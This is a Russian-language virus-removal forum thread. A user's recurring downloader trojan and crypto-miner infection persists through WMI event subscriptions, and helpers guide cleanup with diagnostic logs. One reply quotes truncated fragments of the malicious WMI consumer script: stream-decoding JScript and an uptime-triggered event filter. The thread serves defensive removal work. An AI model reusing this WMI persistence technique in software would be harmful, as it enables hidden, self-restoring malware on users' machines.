заново появляется trojan.downloader33.5370 и Trojan.BtcMine3437

[MrProxe]

добрый вечер, цепанул вот такую заразу tr ojan.downloader33.5370(ссылается на ScriptText, а путь к файлу пишет \wmi\root\subscription....) ну по крайней мере его так определяет CureIt.И Trojan.BtcMine3437 ссылающийся на файл winlogonr.exe. После лечения, оба вируса благополучно через некоторое время появляется в том же месте. Так же становится замусорена ветка реестра HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Win dows\IPSec\Policy\Local\. И как я понимаю вследствие чего сетевые папки становятся недоступными. Удаление мусора и лечение вируса cureit-ом помогает на некоторое время, но потом то же самое. Помогите пожалуйста,заранее спасибо....

[Info_bot]

Уважаемый(ая) MrProxe, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста, поддержите проект.

[thyrex]

Здравствуйте.

Вы собрали логи устаревшей версией. Удалите Autologger и созданную им папку вместе с содержимым. Скачайте актуальную версию (по ссылке из правил) и повторите CollectionLog.

[MrProxe]

Новые логи, сняты последней версией логера

[Sandor]

Проведите эту процедуру. Полученную ссылку после загрузки карантина virusinfo_auto_имя_вашего_ПК.zip через данную форму напишите в своём в сообщении здесь.

"Пофиксите" в HijackThis:

O25 - WMI Event: __StagingConsumer - __StagingFilter - function s(e){var t=new ActiveXObject("ADODB.Stream");t.Type=1,t.Open(),t.Write(e),t.Position=0,t.Type=2,t.CharSet="UTF-16LE";var n=t.ReadText(),r=[];for(var i=0;i<n.length;i++){var s=n.charCodeAt(i);r.push(s&255),r.push(s>>8&255)}return r}function o(e){var e=s(e),t=e.slice(0,32),n=e.slice(32),r="";(1207 bytes)
O25 - WMI Event: __StagingConsumer - __StartupFilter - Event="__InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320", function s(e){var t=new ActiveXObject("ADODB.Stream");t.Type=1,t.Open(),t.Write(e),t.Position=0,t.Type=2,t.CharSet="UTF-16LE";var n=t.ReadText(),r=[];for(var i=0;i<n.length;i++){var s=n.charCodeAt(i);r.push(s&255),r.push(s>>8&255)}return r}function o(e){var e=s(e),t=e.slice(0,32),n=e.slice(32),r="";(1207 bytes)

Перезагрузите систему вручную и повторите CollectionLog.

[MrProxe]

Пофиксил лог прилагаю

[Sandor]

Что с проблемой?